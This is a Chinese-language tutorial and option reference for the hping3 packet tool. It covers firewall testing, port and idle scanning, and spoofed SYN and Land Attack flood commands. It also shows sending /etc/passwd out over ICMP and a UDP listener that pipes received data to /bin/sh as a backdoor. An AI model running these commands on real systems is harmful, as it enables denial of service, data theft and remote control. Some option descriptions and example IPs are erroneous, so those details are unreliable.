测试网络及主机的安全。

补充说明

hping 是用于生成和解析 TCPIP 协议数据包的开源工具。创作者是 Salvatore Sanfilippo。目前最新版是 hping3,支持使用 tcl 脚本自动化地调用其 API。hping 是安全审计、防火墙测试等工作的标配工具。hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

安装

yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install

选项

-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于 countreached_timeout 可以在 hping2.h 里编辑。
-i --interval 包发送间隔时间(单位是毫秒)缺省时间是 1 秒,此功能在增加传输率上很重要,在 idle/spoofing 扫描时此功能也会被用到,你可以参考 hping-howto 获得更多信息-fast 每秒发 10 个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是 eth0 之类的参数。
-v --verbose 显示很多信息,TCP 回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 进入 debug 模式当你遇到麻烦时,比如用 HPING 遇到一些不合你习惯的时候,你可以用此模式修改 HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP 模式,在此模式下 HPING 会发送带数据的 IP 头。
-1 --icmp ICMP 模式,此模式下 HPING 会发送 IGMP 应答报,你可以用--ICMPTYPE --ICMPCODE 选项发送其他类型/模式的 ICMP 报文。
-2 --udp UDP 模式,缺省下,HPING 会发送 UDP 报文到主机的 0 端口,你可以用--baseport --destport --keep 选项指定其模式。
-9 --listen signatuer hping 的 listen 模式,用此模式,HPING 会接收指定的数据。
-a --spoof hostname 伪造 IP 攻击,防火墙就不会记录你的真实 IP 了,当然回应的包你也接收不到了。
-t --ttl time to live 可以指定发出包的 TTL 值。
-H --ipproto 在 RAW IP 模式里选择 IP 协议。
-w --WINID UNIX ,WINDIWS 的 id 回应不同的,这选项可以让你的 ID 回应和 WINDOWS 一样。
-r --rel 更改 ID 的,可以让 ID 曾递减输出,详见 HPING-HOWTO。
-F --FRAG 更改包的 FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是 16 字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的 IP 碎片,这可以让你了解更多的 MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后 ID 数值变得很大,50000 没指定此项时 3000-20000 左右。
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过 9 个路由,即使主机屏蔽了 ICMP 报文。
-C --ICMPTYPE type 指定 ICMP 类型,缺省是 ICMP echo REQUEST。
-K --ICMPCODE CODE 指定 ICMP 代号,缺省 0。
--icmp-ipver 把 IP 版本也插入 IP 头。
--icmp-iphlen 设置 IP 头的长度,缺省为 5(32 字节)。
--icmp-iplen 设置 IP 包长度。
--icmp-ipid 设置 ICMP 报文 IP 头的 ID,缺省是 RANDOM。
--icmp-ipproto 设置协议的,缺省是 TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加 1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为 0,一个加号设置为:每发送一个请求包到达后,端口加 1,两个加号为:每发一个包,端口数加 1。
--keep 上面说过了。
-w --win 发的大小和 windows 一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置 TCP 序列数。
-l --tcpck 设置 TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析 TCP 序列号有很大作用。

Hping3 功能

Hping3 主要有以下典型功能应用:

# 防火墙测试

使用 Hping3 指定各种数据包字段,依次对防火墙进行详细测试。

测试防火墙对 ICMP 包的反应、是否支持 traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以 LandAttack 方式测试目标防火墙(Land Attack 是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。

hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

# 端口扫描

Hping3 也可以对目标端口进行扫描。Hping3 支持指定 TCP 各个标志位、长度等信息。以下示例可用于探测目标机的 80 端口是否开放:

hping3 -I eth0  -S 192.168.10.1 -p 80

其中-I eth0指定使用 eth0 端口,-S指定 TCP 包的标志位 SYN,-p 80指定探测的目的端口。

hping3 支持非常丰富的端口探测方式,nmap 拥有的扫描方式 hping3 几乎都支持(除开 connect 方式,因为 Hping3 仅发送与接收包,不会维护连接,所以不支持 connect 方式探测)。而且 Hping3 能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3 的端口扫描性能及综合处理能力,无法与 Nmap 相比。一般使用它仅对少量主机的少量端口进行扫描。

# Idle 扫描

Idle 扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有 Hping3 的作者 Salvatore Sanfilippo 发明的,目前 Idle 扫描在 Nmap 中也有实现。

该扫描原理是:寻找一台 idle 主机(该主机没有任何的网络流量,并且 IPID 是逐个增长的),攻击端主机先向 idle 主机发送探测包,从回复包中获取其 IPID。冒充 idle 主机的 IP 地址向远程主机的端口发送 SYN 包(此处假设为 SYN 包),此时如果远程主机的目的端口开放,那么会回复 SYN/ACK,此时 idle 主机收到 SYN/ACK 后回复 RST 包。然后攻击端主机再向 idle 主机发送探测包,获取其 IPID。那么对比两次的 IPID 值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

# 拒绝服务攻击

使用 Hping3 可以很方便构建拒绝服务攻击。比如对目标机发起大量 SYN 连接,伪造源地址为 192.168.10.99,并使用 1000 微秒的间隔发送各个 SYN 包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻击如 smurf、teardrop、land attack 等也很容易构建出来。

# 文件传输

Hping3 支持通过 TCP/UDP/ICMP 等包来进行文件传输。相当于借助 TCP/UDP/ICMP 包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:

hping3 192.168.1.159--listen signature --safe  --icmp

监听 ICMP 包中的签名,根据签名解析出文件内容。

在发送端使用签名打包的 ICMP 包发送文件:

hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd

/etc/passwd密码文件通过 ICMP 包传给 192.168.10.44 主机。发送包大小为 100 字节(-d 100),发送签名为 signature(-sign signature)。

# 木马功能

如果 Hping3 能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开 shell 通信。与 netcat 的后门功能类似。

示例:本地打开 53 号 UDP 端口(DNS 解析服务)监听来自 192.168.10.66 主机的包含签名为 signature 的数据包,并将收到的数据调用/bin/sh 执行。

在木马启动端:

hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh

在远程控制端:

echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

将包含 ls 命令的文件加上签名 signature 发送到 192.168.10.44 主机的 53 号 UDP 端口,包数据长度为 100 字节。

当然这里只是简单的演示程序,真实的场景,控制端可以利益 shell 执行很多的高级复杂的操作。